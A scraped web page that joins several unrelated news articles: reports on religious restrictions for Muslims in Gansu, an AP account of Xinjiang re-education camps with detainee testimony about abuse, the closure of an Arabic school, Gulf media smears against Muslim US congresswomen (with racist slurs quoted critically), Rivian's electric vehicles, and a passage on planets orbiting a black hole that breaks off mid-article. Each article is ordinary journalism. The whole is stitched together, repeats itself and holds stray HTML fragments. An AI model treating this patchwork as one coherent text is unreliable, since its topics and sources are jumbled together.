10 vegetables that have more protein than eggs

Updated: 25 Sep 2018, 1752 hrs IST

10 vegetables that have more protein than eggs

Updated: 25 Sep 2018, 1752 hrs IST

Muslim children in Chinese county banned from attending religious events over break

Muslim children in Chinese county banned from attending religious events over break


Youngsters also prohibited from reading scriptures in classes or in religious buildings, district education bureau says

PUBLISHED : Wednesday, 17 January, 2018, 5:23pm
UPDATED : Wednesday, 17 January, 2018, 5:23pm

Education authorities in a mostly Muslim county in northwestern China have banned schoolchildren from attending religious events over a winter break, as authorities step up control of religious education.


Pupils in Linxia county in Gansu province, home to many members of the Muslim Hui ethnic minority, are prohibited from entering religious buildings over their break, a district education bureau said in a notice published online.

They must also not read scriptures in classes or in religious buildings, the bureau said, adding that all pupils and teachers should heed the notice and work to strengthen political ideology and propaganda.

Reuters was unable to independently verify the authenticity of the notice.

A man who answered the telephone at the Linxia education bureau hung up when Reuters asked about the notice. A woman at the district education bureau declined to comment on the document’s authenticity.

Xi Wuyi, a Marxist scholar at the state-backed Chinese Academy of Social Sciences and an outspoken critic of rising Islamic influence in China welcomed the apparent move by the authorities.

With the notice, the county was taking concrete action to keep religion and education separate, and sticking strictly to education law, she said on the Weibo, the Chinese equivalent of Twitter.

New regulations on religious affairs released in October, and due to take effect next month, aim to increase oversight of religious education and provide for greater regulation of religious activities.

Last summer, a Sunday School ban was introduced in the southeastern city of Wenzhou, sometimes known as “China’s Jerusalem” due to its large Christian population, but Christian parents found ways to teach their children about their religion regardless.

Chinese law officially grants religious freedom for all, but regulations on education and protection of minors also say religion cannot be used to hinder state education or to “coerce” children to believe.

Authorities in troubled parts of China, such as the far western region of Xinjiang, home to the Turkic-speaking Uygur Muslim minority, ban children from attending religious events.

But religious communities elsewhere rarely face blanket restrictions.

Fear of Muslims’ influence has grown in China in recent years, sparked in part by violence in Xinjiang.

The Chinese-speaking Hui, who are culturally more similar to the Han Chinese majority than to Uygurs, have also come under scrutiny from some intellectuals who fear creeping Islamic influence on society.


Inside the camps where China tries to brainwash Muslims

Inside the camps where China tries to brainwash Muslims until they love the party and hate their own culture


Former detainees, including foreign nationals, describe brutal treatment and ‘re-education’ sessions inside mass detention centres

PUBLISHED : Thursday, 17 May, 2018, 7:50pm
UPDATED : Thursday, 17 May, 2018, 10:44pm

Hour upon hour, day upon day, Omir Bekali and other detainees in far western China’s new indoctrination camps had to disavow their Islamic beliefs, criticise themselves and their loved ones and give thanks to the ruling Communist Party.


When Bekali, a Kazakh Muslim, refused to follow orders each day, he was forced to stand by a wall for five hours at a time.

A week later, he was sent to solitary confinement, where he was deprived of food for 24 hours. After 20 days in the heavily guarded camp, he wanted to kill himself.

“The psychological pressure is enormous, when you have to criticise yourself, denounce your thinking – your own ethnic group,” said Bekali, who broke down in tears as he described the camp.

“I still think about it every night, until the sun rises. I can’t sleep. The thoughts are with me all the time.”



Since last spring, Chinese authorities in the heavily Muslim region of Xinjiang have ensnared tens, possibly hundreds of thousands of Muslim Chinese – and even foreign citizens – in mass internment camps. This detention campaign has swept across Xinjiang, a territory half the area of India, leading to what a US commission on China last month said is “the largest mass incarceration of a minority population in the world today.”

Chinese officials have largely avoided comment on the camps, but some have been quoted in state media as saying that ideological changes are needed to fight separatism and Islamic extremism. Radical Muslim Uygurs have killed hundreds in recent years, and China considers the region a threat to peace in a country where the majority is Han Chinese.

The internment programme aims to rewire the political thinking of detainees, erase their Islamic beliefs and reshape their very identities. The camps have expanded rapidly over the past year, with almost no judicial process or legal paperwork.

Detainees who most vigorously criticise the people and things they love are rewarded, and those who refuse to do so are punished with solitary confinement, beatings and food deprivation.

The recollections of Bekali, a heavyset and quiet 42-year-old, offer what appears to be the most detailed account yet of life inside so-called re-education camps.

The Associated Press also conducted rare interviews with three other former internees and a former instructor in other centres who corroborated Bekali’s depiction. Most spoke on condition of anonymity to protect their families in China.

Bekali’s case stands out because he was a foreign citizen, of Kazakhstan, who was seized by China’s security agencies and detained for eight months last year without recourse.

Although some details are impossible to verify, two Kazakh diplomats confirmed he was held for seven months and then sent for re-education.

The detention programme is a hallmark of China’s emboldened state security apparatus under the deeply nationalistic, hardline rule of President Xi Jinping.

It is partly rooted in the ancient Chinese belief in transformation through education – taken once before to terrifying extremes during the mass thought reform campaigns of Mao Zedong, the Chinese leader sometimes channelled by Xi.

“Cultural cleansing is Beijing’s attempt to find a final solution to the Xinjiang problem,” said James Millward, a China historian at Georgetown University in Washington.

Rian Thum, a professor at Loyola University in New Orleans, said China’s re-education system echoes some of the worst human rights violations in history.



“The closest analogue is maybe the Cultural Revolution in that this will leave long-term, psychological effects,” Thum said. “This will create a multigenerational trauma from which many people will never recover.”

Asked to comment on the camps, China’s Foreign Ministry said it “had not heard” of the situation. When asked why non-Chinese had been detained, it said the Chinese government protects the rights of foreigners in China and they should also be law-abiding.

Chinese officials in Xinjiang did not respond to requests for comment.

However, bits and pieces from state media and journals show the confidence Xinjiang officials hold in methods that they say work well to curb religious extremism.

China’s top prosecutor, Zhang Jun, urged Xinjiang’s authorities this month to extensively expand what the government calls the “transformation through education” drive in an “all-out effort” to fight separatism and extremism.

In a June 2017 paper published by a state-run journal, a researcher from Xinjiang’s Communist Party School reported that most of 588 surveyed participants did not know what they had done wrong when they were sent to re-education. But by the time they were released, nearly all – 98.8 per cent – had learned their mistakes, the paper said.

Transformation through education, the researcher concluded, “is a permanent cure.”

On the chilly morning of March 23, 2017, Bekali drove up to the Chinese border from his home in Almaty, Kazakhstan’s largest city, got a stamp in his Kazakh passport and crossed over for a work trip, not quite grasping the extraordinary circumstances he was stepping into.

Bekali was born in China in 1976 to Kazakh and Uygur parents, moved to Kazakhstan in 2006 and received citizenship three years later. He was out of China in 2016, when authorities sharply escalated a “People’s War on Terror” to root out what the government called religious extremism and separatism in Xinjiang, a large Chinese territory bordering Pakistan and several Central Asian states, including Kazakhstan.

The Xinjiang he returned to was unrecognisable. All-encompassing, data-driven surveillance tracked residents in a region with around 12 million Muslims, including ethnic Uygurs and Kazakhs. Viewing a foreign website, taking phone calls from relatives abroad, praying regularly or growing a beard could land one in a political indoctrination camp, or prison, or both.

The new internment system was shrouded in secrecy, with no publicly available data on the numbers of camps or detainees. The US State Department estimates those being held are “at the very least in the tens of thousands.”



A Turkey-based TV station run by Xinjiang exiles said almost 900,000 were detained, citing leaked government documents.

Adrian Zenz, a researcher at the European School of Culture and Theology, puts the number between several hundreds of thousands and just over 1 million.

Government bids and recruitment ads studied by Zenz suggest that the camps have cost more than US$100 million since 2016, and construction is ongoing.

Bekali knew none of this when he visited his parents on March 25. He passed police checkpoints and handed over his decade-old Chinese identity card.

The next day, five armed policemen showed up at Bekali’s parents’ doorstep and took him away.

They said there was a warrant for his arrest in Karamay, a frontier oil town where he lived a decade earlier. He couldn’t call his parents or a lawyer, the police added, because his case was “special.”

Bekali was held in a cell, incommunicado, for a week, and then was driven 800 kilometres (500 miles) to Karamay’s Baijiantan District public security office.

There, they strapped him into a “tiger chair,” a device that clamped down his wrists and ankles. They also hung him by his wrists against a barred wall, just high enough so he would feel excruciating pressure in his shoulder unless he stood on the balls of his bare feet. They interrogated him about his work with a tourist agency inviting Chinese to apply for Kazakh tourist visas, which they claimed was a way to help Chinese Muslims escape.

“I haven’t committed any crimes!” Bekali yelled.

They asked for days what he knew about two dozen prominent ethnic Uygur activists and businessmen in Kazakhstan. Exhausted and aching, Bekali coughed up what he knew about a few names he recognised.

The police then sent Bekali to a 10 by 10-metre (32 by 32ft) cell in the prison with 17 others, their feet chained to the posts of two large beds. Some wore dark blue uniforms, while others wore orange for political crimes. Bekali was given orange.

In mid-July, three months after his arrest, Bekali received a visit from Kazakh diplomats. China’s mass detention of ethnic Kazakhs – and even Kazakh citizens – has begun to make waves in the Central Asian country of 18 million.

Kazakh officials say China detained 10 Kazakh citizens and hundreds of ethnic Kazakh Chinese in Xinjiang over the past year, though they were released in late April following a visit by a Kazakh deputy foreign minister.

Four months after the visit, Bekali was taken out of his cell and handed a release paper.

But he was not yet free.



Bekali was driven from jail to a fenced compound in the northern suburbs of Karamay, where three buildings held more than 1,000 internees receiving political indoctrination, he said.

He walked in, past a central station that could see over the entire facility, and received a tracksuit. Heavily armed guards watched over the compound from a second level. He joined a cell with 40 internees, he said, including teachers, doctors and students. Men and women were separated.

Internees would wake up together before dawn, sing the Chinese national anthem, and raise the Chinese flag at 7.30am. They gathered back inside large classrooms to learn “red songs” like Without the Communist Party, there is no New China, and study Chinese language and history.

They were told that the indigenous sheepherding Central Asian people of Xinjiang were backward and yoked by slavery before they were “liberated” by the Communist Party in the 1950s.

Before meals of vegetable soup and buns, the inmates would be ordered to chant: “Thank the Party! Thank the Motherland! Thank President Xi!”

Discipline was strictly enforced and punishment could be harsh. Bekali was kept in a locked room almost around the clock with eight other internees, who shared beds and a wretched toilet.

Cameras were installed in toilets and even outhouses. Baths were rare, as was washing of hands and feet, which internees were told was equated with Islamic ablution.

Bekali and other former internees say the worst parts of the indoctrination programme were forced repetition and self-criticism. Although students didn’t understand much of what was taught and the material bordered on the nonsensical to them, they were made to internalise it by repetition in sessions lasting two hours or longer.

“We will oppose extremism, we will oppose separatism, we will oppose terrorism,” they chanted again and again. Almost every day, the students received guest lecturers from the local police, judiciary and other branches of government warning about the dangers of separatism and extremism.

In four-hour sessions, instructors lectured about the dangers of Islam and drilled internees with quizzes that they had to answer correctly or be sent to stand near a wall for hours on end.

“Do you obey Chinese law or sharia?” instructors asked. “Do you understand why religion is dangerous?”

One by one, internees would stand up before 60 of their classmates to present self-criticisms of their religious history, Bekali said. The detainees would also have to criticise and be criticised by their peers. Those who parroted official lines particularly well or lashed into their fellow internees viciously were awarded points and could be transferred to more comfortable surroundings in other buildings, he said.

“I was taught the Holy Koran by my father and I learned it because I didn’t know better,” Bekali heard one say.

“I travelled outside China without knowing that I could be exposed to extremist thoughts abroad,” Bekali recalled another saying. “Now I know.”

A Uygur woman told AP she was held in a centre in the city of Hotan in 2016. She said she and fellow prisoners repeatedly were forced to apologise for wearing long clothes in Muslim style, praying, teaching the Koran to their children and asking imams to name their children.

Praying at a mosque on any day other than Friday was a sign of extremism; so was attending Friday prayers outside their village or having Quranic verses or graphics on their phones.

While instructors watched, those who confessed to such behaviour were told to repeat over and over: “We have done illegal things, but we now know better.”



Other detainees and a re-education camp instructor tell similar stories.

In mid-2017, a Uygur former on-air reporter for Xinjiang TV known as Eldost was recruited to teach Chinese history and culture in an indoctrination camp because he spoke excellent Mandarin. He had no choice.

The re-education system, Eldost said, classified internees into three levels of security and duration of sentences.

The first group typically consisted of illiterate minority farmers who didn’t commit any ostensible crimes other than not speaking Chinese. The second class was made up of people who were caught at home or on their smartphones with religious content or so-called separatist materials, such as lectures by the jailed Uygur intellectual Ilham Tohti.

The final group was made up of those who had studied religion abroad and came back, or were seen to be affiliated with foreign elements.

In the latter cases, internees were often were sentenced to prison terms of 10 to 15 years, Eldost said.

While he was teaching, Eldost once saw through the window 20 students driven into the courtyard. Two rows of guards waited for them and beat them as soon as they got out of the police van. He later heard that the internees were recent arrivals who had studied religion in the Middle East.

Violence was not regularly dispensed, but every internee AP spoke to saw at least one incident of rough treatment or beatings.

Eldost said the instruction was aimed at showing how backward traditional Uygur culture is and how repressive fundamentalist Islam is compared to a progressive Communist Party. The internees’ confessions of their backwardness helped drive the point home.

“Internees are told to repeat those confessions to the point where, when they are finally freed, they believe that they owe the country a lot, that they could never repay the party,” said Eldost, who escaped from China in August after paying a bribe.

Eldost said he tried in little ways to help his internees. Tasked with teaching the Three Character Classic, a Confucian standard taught widely in junior schools, he would make up mnemonic devices to help his students – including elderly or illiterate Uygur farmers who barely knew their own language – recite a few lines.

He also advised students to stop habitually saying “praise God” in Arabic and Uygur because other instructors punished them for it.

Every time he went to sleep in a room with 80 others, he said, the last thing he would hear was the sound of misery.

“I heard people crying every night,” he said. “That was the saddest experience in my life.”

Another former detainee, a Uygur from Hotan in southern Xinjiang, said his newly built centre had just 90 people in two classes in 2015. There, a government instructor claimed said that Uygur women historically did not wear underwear, braided their hair to signal their sexual availability, and had dozens of sexual partners.

“It made me so angry,” the detainee said. “These kinds of explanations of Uygur women humiliated me. I still remember this story every time I think about this, I feel like a knife cut a hole in my chest.”

Kayrat Samarkan, a Chinese Kazakh from Astana who was detained while running errands in a northern Xinjiang police station in December, was sent to an internment camp in Karamagay in northern Xinjiang with 5,700 students.

Those who did not obey, were late to class or got into fights were put for 12 hours in a loose body-suit that was made of iron and limited their movement, he said. Those who still disobeyed would be locked in a tiger chair for 24 hours. As one form of punishment, he said, instructors would press an internee’s head in a tub of ice and water.

After three months, Samarkan couldn’t take the lessons any more, so he bashed his head against a wall to try to kill himself. He merely fell unconscious.

“When I woke up, the staff threatened me, saying if I did that again they would extend my sentence to seven years there,” he said.

After 20 days, Bekali also contemplated suicide. Several days later, because of his intransigence and refusal to speak Mandarin, Bekali was no longer permitted to go into the courtyard. Instead, he was sent to a higher level of management, where he spent 24 hours a day in a room with 8 others.

A week later, he went to his first stint in solitary confinement. He saw a local judicial official walking into the building on an inspection tour and yelled at the top of his lungs. He thought even his former detention centre, with the abuse he suffered, would be better.

“Take me in the back and kill me, or send me back to prison,” he shouted. “I can’t be here any more.”

He was again hauled off to solitary confinement. It lasted 24 hours, ending late in the afternoon on November 24.

That was when Bekali was released, as suddenly as he was detained eight months earlier.

A policemen from Baijiantan who had always gone easy on Bekali during interrogation appeared and checked him out of the facility.

“You were too headstrong, but what the department did was unjust,” he told Bekali as he drove him to his sister’s home in Karamay.

Bekali was free.



The next morning, a Saturday, the police opened their immigration office for Bekali to pick up a unique, 14-day Chinese visa. His original had long expired. Bekali left China on December 4.

Seeking compensation from the Chinese government is out of the question. But Bekali keeps a plastic folder at home of evidence that might prove useful someday: his passport with stamps and visas, travel records and a handwritten Chinese police document dated and imprinted with red-ink seals.

The document is the closest thing he has to an official acknowledgement that he suffered for eight months. It says he was held on suspicion of endangering national security; the last sentence declares him released without charge.

At first, Bekali did not want the AP to publish his account for fear that his sister and mother in China would be detained and sent to re-education.

But on March 10, back in China, the police took his sister, Adila Bekali. A week later, on March 19, his mother Amina Sadik was led away. In early April, Bekali called his father, Ebrayem. He told Bekali to take good care of himself, as if to bid farewell before the inevitable.

Bekali changed his mind and said he wanted to tell his story, no matter the consequences.

“Things have already come this far,” he said. “I have nothing left to lose.”


Chinese Arabic school to close as areas with Muslim populations are urged to study the Xinjiang way

Chinese Arabic school to close as areas with Muslim populations are urged to study the Xinjiang way

  • Teacher in Gansu says authorities are denying underprivileged an education
  • Ningxia political chief says Xinjiang’s ‘religious and terrorist’ curbs are good model
PUBLISHED : Sunday, 09 December, 2018, 7:02am
UPDATED : Sunday, 09 December, 2018, 11:15pm

Mimi joined the Post in 2007 covering Hong Kong education before she was transferred to the China desk as Guangzhou correspondent in 2009. After completing a seven-year stint, Mimi is back to Hong Kong with a focus on human rights, religious affairs and civil society development in China. ” data-title=”<a href="/author/mimi-lau">Mimi Lau</a>” data-html=”true” data-template=”

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The imminent closure of a 34-year-old Arabic language school in China’s northwestern province of Gansu has raised fears that draconian religion policies adopted in the Xinjiang Uygur autonomous region are applied to other Muslim-populated areas.


Pingliang Arabic School, a charity that caters to underprivileged students, has been told by city education officials to close by December 17 and send its 200 students and 20 teachers home.

Officials claim the school does not have the operational permits it needs although it has been in business since 1984. Pingliang is a small city on the border between Gansu and Shaanxi province – one of China’s poorest areas.

“It seems that the officials are not interested in talking to us at all,” said a teacher who requested anonymity.

In an effort to save the school from closure, teachers last week sent a petition containing more than 1,000 signatures to the education bureau.

“Our students are all from very poor families. With the language training, many of our graduates are able to find jobs such as translators for Middle Eastern traders who do business in provinces like Guangdong,” the teacher said. “If the school is closed, they could end up as dropouts on the street.”

The demise of Arabic language schools is a symptom of Beijing’s increased control of Muslim-populated regions and was urged on by a call three years ago from President Xi Jinping to “Sinicise religions”, assimilating them with traditional Chinese culture and socialist values.

The push has stoked fears that the authorities are purging influences such as Islam and Christianity, afraid that the growing popularity of such faiths would pose a threat to the Communist Party’s absolute authority.

Muslims make up less than 2 per cent of China’s population, or about 22 million people. There are 10 predominantly Muslim ethnic groups, the largest of which is the Hui, an ethnic group closely related to the majority Han population and largely based in the Ningxia Hui autonomous region and Gansu, Qinghai and Yunnan provinces.

The Uygurs are Turkic-speaking Muslims who primarily live in Xinjiang. Unlike the Uygurs, Hui Muslims have been able to enjoy greater religious freedom. While they also wear the white caps and headscarves according to Muslim traditions, they are otherwise indistinguishable in appearance from the majority Han Chinese population.

The restive Xinjiang has exercised tight controls over the Uygurs keeping close tabs on their overseas contacts and visitors, and monitoring their daily lives. A United Nations human rights panel recently claimed that the region was holding up to more than 1 million Uygurs and other Muslims in internment camps.

However, officials in other Muslim-populated regions have looked to Xinjiang as an example.

Zhang Yunsheng, party secretary in charge of political and legal affairs in Ningxia, was quoted by the local media as saying the region should learn from the Xinjiang model in curbing “religious extremism and terrorism” – China’s code for anti-government activities.

“We should draw experiences from the good practices and measures of Xinjiang,” he said after visiting the neighbouring province.



According to official Ningxia Daily, Zhang learned how law enforcement authorities in Xinjiang “operate an integrated social management platform and police data centres in maintaining social stability”.

A former State Council official familiar with ethnic policies said that he expected exchanges among officials between Xinjiang and Ningxia would increase soon.

“Ningxia would be most likely to adopt similar extreme [control] standards over Hui Muslims. Practices such as the wearing of headscarves and big beards, for example, could be prohibited,” he said.

A visit to Ningxia by the Post in April found that Islamic imagery and Arabic street signs had been removed from across towns and counties. Some mosques have been ordered to cancel public Arabic classes, while a number of private Arabic schools have been told to close.

A Hui Arabic teacher said that the crackdown on Islamic culture had increased.

“There are fewer uses of Arabic in road signs, names of products and restaurant food menus. Some food products have even dropped the word halal – an Arabic word meaning permissible under the Muslim law – translated in Chinese from their packing,” he said.

In August, Ningxia authority’s plan to demolish the Weizhou Grand Mosque in Tongxin was halted after it met with a rare protest by hundreds of Hui Muslims.



An Ran, a Chinese poet of Hui ethnicity, criticised Chinese authorities for introducing the extreme social control measures used in Xinjiang to other parts of China.

“To replicate Xinjiang’s practices in other provinces is essentially turning a regional catastrophe to a national one,” he said.

An also worried that the extreme measures could be extended to other social, religious and ethnic groups that are deemed destabilising by the authorities.


Saudi Arabia Declares War on America’s Muslim Congresswomen

Gulf Arab monarchies are using racism, bigotry, and fake news to denounce Washington’s newest history-making politicians.

Congresswoman Ilhan Omar speaking to a group of volunteers in Minneapolis, Minnesota on Oct. 13, 2018. (Kerem Yucel/AFP/Getty Images)

Congresswoman Ilhan Omar speaking to a group of volunteers in Minneapolis, Minnesota on Oct. 13, 2018. (Kerem Yucel/AFP/Getty Images) 

Ever since the midterm election, conservative media in the United States have targeted with special zeal Ilhan Omar,

an incoming Somali-American Democratic congresswoman and a devout Muslim who wears hijab. In response to

Democrats’ push to remove a headwear ban on the House floor to accommodate Omar, conservative commentator

and pastor E.W. Jackson complained on a radio show that Muslims were transforming Congress into an “Islamic republic.”

The Democratic Party has several rising political stars with Arab or Muslim backgrounds, all of whom have become

objects of such conspiracy theories. But it’s not only American conservatives who have been indulging in this culture war.

The organized attacks have also been coming from abroad—specifically, from Saudi Arabia and the United Arab Emirates.

The midterm elections have amplified an existing suspicion in Middle Eastern media of Muslim political activism in the United States. Academics, media outlets, and commentators close to Persian Gulf governments have repeatedly accused Omar, Rashida Tlaib (another newly elected Muslim congresswoman), and Abdul El-Sayed (who made a failed bid to become governor of Michigan) of being secret members of the Muslim Brotherhood who are hostile to the governments of Saudi Arabia and the UAE. On Sunday, Saudi-owned Al Arabiya published a feature insinuating that Omar and Tlaib were part of an alliance between the Democratic Party and Islamist groups to control Congress. The article accused the two of being “anti-Trump and his political team and options, especially his foreign policy starting from the sanctions on Iran to the isolation of the Muslim Brotherhood and all movements of political Islam.”

In another example, a talk show on Saudi-owned station MBC discussed the Muslim congresswomen and more broadly the implications of Democrats taking the House. Prominent Arab anchor Amr Adib debated the matter with Egyptian political scientist Moataz Fattah, who suggested that Trump’s successful combating of Islamists would be undermined by the Democrats’ victory. The attacks have become so ubiquitous in the Persian Gulf that the trend itself is the subject of debate, both online and on television.

Occasionally these attacks have been made by officials of those governments, in apparent anxiety that their countries’ expensive public relations and lobbying efforts might be undermined. Just hours after Omar won her election, for example, a staffer at the Saudi Embassy in the United States accused her of following the ideology of the Muslim Brotherhood, which he said has permeated the Democratic Party. “She will be hostile to the Gulf and a supporter of the political Islam represented in the Brotherhood in the Middle East,” tweeted Faisal al-Shammeri, a cultural advisor at the Saudi Arabian Cultural Mission to the United States, which is part of the embassy, and a writer for Al Arabiya.

El-Sayed, an American born to Egyptian immigrants, noticed the attacks from the region during his campaign. Media in the Middle East amplified accusations by a Republican candidate for governor, Patrick Colbeck, that El-Sayed had links to the Brotherhood. Egyptian newspaper Youm7, for instance, reported that El-Sayed likely lost the election to his link to the “radical” Nation of Islam, and his relationship with Muslim-American activist Linda Sarsour, “known for her radical views.”

El-Sayed told me that political elites in places like Egypt, Saudi Arabia, and the UAE felt threatened by American politicians who are also Muslim. For average Middle Easterners, his story is inspiring. (The clearest instance of Middle Easterners drawing such inspiration, ironically, was the first presidential election victory of Barack Obama, who faced false accusations of being a Muslim.)

The rise of politicians like El-Sayed, Omar, and Tlaib also undermines a core argument advanced by dictators in the Middle East: that their people are not ready for democracy. “People would not have access to power in their countries but they would if they leave; this destroys the argument by Sisi or bin Salman,” El-Sayed said, referring to Egyptian President Abdel Fattah al-Sisi and Saudi Arabian Crown Prince Mohammed bin Salman. “What’s ironic is there is no way I would aspire to be in leadership in Egypt, the place of my fathers.”

American allies in the region also fear that the Democratic Party’s new Arab leaders will advocate for political change in their countries. Having spent millions of dollars for public relations campaigns in Western capitals, the Persian Gulf countries feel threatened by any policymakers with an independent interest in and knowledge of the region. They have thus framed these officials’ principled objections to regional violations of human rights and democratic norms as matters of personal bias. One commentator, who is known to echo government talking points and is frequently retweeted by government officials, recently spread the rumor that Omar is a descendent of a “Houthi Yemeni” to undermine her attacks on the Saudi-led war on Yemen.

The most common attack online by the Saudi-led bloc on the Muslim-American Democrats has been to label them as members of the Muslim Brotherhood, or more generally as ikhwanji, an extremist catch-all term. These attacks started long before this year’s elections. In 2014, the UAE even announced a terror list that included the Council on American-Islamic Relations (CAIR) for its alleged links to the Muslim Brotherhood.

The attacks attempting to tie Omar and Tlaib to the Muslim Brotherhood started in earnest after CAIR publicly welcomed their election to Congress. One UAE-based academic, Najat al-Saeed, criticized Arabic media for celebrating the two Muslim women’s victories at the midterms, and pointed to CAIR’s support for them as evidence of their ties to the Brotherhood.

The attacks on Omar have also indulged in racism. While Tlaib and Omar have both been the targets of smears, it’s been easier for Gulf Arabs to single out Omar for insults because of her African heritage. Negative stereotypes about Africans— who serve as poorly treated migrant workers in the Gulf’s oil economy— are widespread throughout the region.

This was evident in the social media campaign launched last month against Omar by Ahmad al-Farraj, a Saudi writer and researcher with UAE-based Trends Research and Advisory—a firm founded by a former Dubai police official and consultant. He attacked Omar for criticizing Trump’s muted response to the CIA assessment that Saudi Crown Prince Mohammed bin Salman likely directed the murder of former U.S.-based Saudi journalist Jamal Khashoggi at the Saudi Arabian consulate in Istanbul. “These miserable beings coming from the underdeveloped worlds are more hateful to their race and to you than any enemy,” Al Farraj tweeted to his more than 60,000 followers. A steady stream of racist attacks followed in response. One person tweeted a picture of Omar accompanied by the caption “whenever you buy a slave, buy a stick along with the slave. The slave is miserable filth.”

Other than the flurry of racist comments, Omar was trolled based on two false accusations: that she was a member of the Muslim Brotherhood and that she had married her brother. Hashtags also began trending with dozens of anonymous accounts tweeting slightly different variations of the same language, and echoing known government-affiliated accounts. The pattern is typical of Twitter troll armies that seem to be used regularly by Mohammed bin Salman to silence the kingdom’s critics.

It should be little surprise that America’s authoritarian allies have responded with panic and fear to voices like Tlaib and Omar. These regimes have always benefited from the false choice they present to policymakers in the West—in Muslim countries, they say, extremists are the only alternative to dictators. That argument is eloquently undermined by American politicians who share those regimes’ religion, but not their cynicism about democracy.

Ola Salem is a British-Egyptian journalist with a decade of experience covering the Middle East. She is currently an MS candidate at New York University.



Rivian Electric Truck and SUV

After nine years of design and development, automotive startup Rivian unveiled not one but two new electric vehicles (each with Level 3 autonomy no less) at the 2018 Los Angeles Auto Show on Tuesday. The R1T is a pickup built specifically for off-road adventuring while the swanky R1S looks to compete with Range Rover’s line of upscale SUVs in both looks and amenities.

Both vehicles are built upon Rivian’s “skateboard” frame construction, wherein the entirety of the drivetrain and power storage sit even with or slightly below the frame of the vehicle the same way a skateboard’s trucks, spacers, wheels and bearings all sit underneath the deck. This, along with the fact that there is no engine or driveshaft (since the motors in each wheel make it AWD) frees up a huge amount of space for designers to work with. The R1T’s hood lifts up to reveal 330 liters of cargo space — in what the company is the vehicle’s “front trunk” or “frunk” — the rear cargo bed offers nearly 2 square meters of flat space in which to pack, and a clever cubby hole (dubbed the “gear tunnel”) hidden under the rear passenger seats that runs the width of the vehicle offers another 350 liters of space for long objects like golf clubs, hunting gear or ski sets.

“So when you start with a clean sheet, you start to look at where you put different things, and how you package the vehicle,” Rivian founder and CEO RJ Scaringe told Engadget. “We developed [the skateboard frame] to give us a really low center of gravity, and really a high level of performance. So lots of suspension adjustment, a lot of torque, a lot of power.”

Gallery: Rivian R1T electric truck | 14 Photos




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Unlike other luxury SUVs, whether they’re gas powered or electric, the 5-passenger R1t and 7-passenger R1S are both built to live in the wilds. The Rivians offer a trio of battery packages ranging from a 105 kWh pack with 220-mile range to a massive 180 kWh pack that pushes the range to well over 400 miles. For comparison, the Tesla Model X manages — at most — 335 miles with its 100 kWh energy storage system. They’re quick too. With the largest battery pack, these vehicles can launch from 0-60 in 2.8 seconds. That’s a tenth of a second slower than the Lamborghini Aventador and less than a half second slower than the Bugatti Veyron Super Sport’s 2.4 second mark. And you’re doing it in a flippin’ pickup truck.

What’s more, the Rivian’s are smart enough to drive themselves. Well, to a degree. Both models will offer Level 3 autonomy (you can take your hands and eyes off the road for short periods while on the freeway) when the R1T and R1S launch in 2020 and 2021, respectively. Even better, they don’t even really need roads to drive themselves — they can navigate everything from dirt roads to deer trails without needing the driver to guide them.

“It is actually easier,” Scaringe explained. “Because your speeds are relatively low… so your reaction time, your response time is longer, and the level of complexity is a lot lower.”

The rest of their specs are nothing to sneeze at either, what with the R1’s 5000 kg towing capacity, ability to scale 45 degree inclines and, since these vehicles don’t need to breath like internal combustion engines do, they can drive through up to a meter of water without issue. Disclaimer: Don’t be stupid and think that this gives you a pass to ford across flooded roadways. Don’t drown, turn around.

The interior, despite being well appointed with dual touchscreen monitors acting as both the instrument cluster and infotainment system, the Rivian vehicles are built to spill… or rather built for spills, as the seats, carpeting and floorboards are designed for easy cleaning. I especially dug the built-in air compressor on the R1T. Using air from the suspension, drivers will be able to top off the pressure on their 4×4’s mountain bikes, and inner tubes without having to drag along a separate compressor and current inverter.

The R1T and R1S are both slated to retail for between $50,000 and $70,000, depending on options and battery sizes, when they go on sale at the start of the next decade. They’ll be produced here in the US — specifically at an old 2.6 million square foot Mitsubishi plant that the company acquired and converted for its use.

“We’ll start in the thousands of units, and we’ll ramp.” Scaringe said. “And then we have four other products on the skateboard, which we haven’t shown yet, all of which speak to this idea of adventure and exploring, have a lot of functionality, a lot of performance, a lot of efficiency, of course, being electric architecture, that we’ll be showing over the coming years.”

Granted, 2020 still feels a lifetime away and there’s still a good chance that Rivian could flame out like Faraday Future did before any of its vehicles actually hit the road. But if these folks are successful, I have no doubt that they’ll revolutionize the electric vehicle market in ways that Tesla has only dreamed.

1 Million Habitable Planets Could (Theoretically) Orbit a Black Hole.

Here’s How

1 Million Habitable Planets Could (Theoretically) Orbit a Black Hole. Here's How

Huge numbers of potentially habitable planets could theoretically exist in stable orbits around a supermassive black hole, such as the fictional Gargantua from the 2014 film “Interstellar.”

Credit: Paramount Pictures

A black hole could have 1 million planets orbiting near it that are potentially capable of supporting life as we know it, an astrophysicist suggests.

Since there is life virtually everywhere liquid water exists on Earth, astronomers often judge a world as potentially habitable if it orbits within a zone where liquid water could survive on its surface. Our sun’s “habitable zone” hosts just one planet (Earth), but the story could be different for other stars. For example, the TRAPPIST-1 system has three Earth-size planets within its habitable zone.

Sean Raymond, an astrophysicist at the Observatory of Bordeaux in France, researches how planetary systems form and evolve. As part of a column Raymond writes called “Building the Ultimate Solar System,” he set out to see how many planets could orbit a black hole. [The Strangest Black Holes in Space]

“I think we can learn from the extremes … they are basically the boundaries of the box in which we are searching,” Raymond told Space.com. “This system is one extreme — the most packed imaginable. It’s a fun blend of imagination and science.”

There are currently two kinds of black holes that scientists know best, Raymond said. Stellar-mass black holes are equal in mass to a few suns, and form when giant stars die and collapse in on themselves. Supermassive black holes are millions to billions of times the mass of the sun, and are thought to exist in the hearts of most, if not all, large galaxies. (A third class, intermediate-mass black holes, is poorly understood.)

Black holes are extremely compact. A black hole with the mass of the sunwould be about only 3.7 miles (6 kilometers) wide. In comparison, Sagittarius A*, the supermassive black hole thought to lurk at the heart of the Milky Way, has a mass of about 4 million suns and a diameter of about 14.7 million miles (23.6 million km), or a little more than 40 percent the size of Mercury’s orbit around the sun.

Diagram of a hypothetical sun-black hole solar system.
Diagram of a hypothetical sun-black hole solar system.

Credit: Sean Raymond

A common question in physics classes is to imagine what would change if the sun were replaced with a black hole of the same mass, Raymond said. The answer is that nothing would change regarding the planets’ orbits — if the black hole had the same mass as the sun, the orbits would remain the same. (Life on Earth would obviously suffer from the lack of light and heat in such a scenario, Raymond added.)

If the sun had an equal-mass black hole companion orbiting near it — at, say, one-tenth of an astronomical unit (AU) — the orbits of the solar system’s planets would not change much, Raymond noted. (One AU is the Earth-sun distance — about 93 million miles, or 150 million km.)

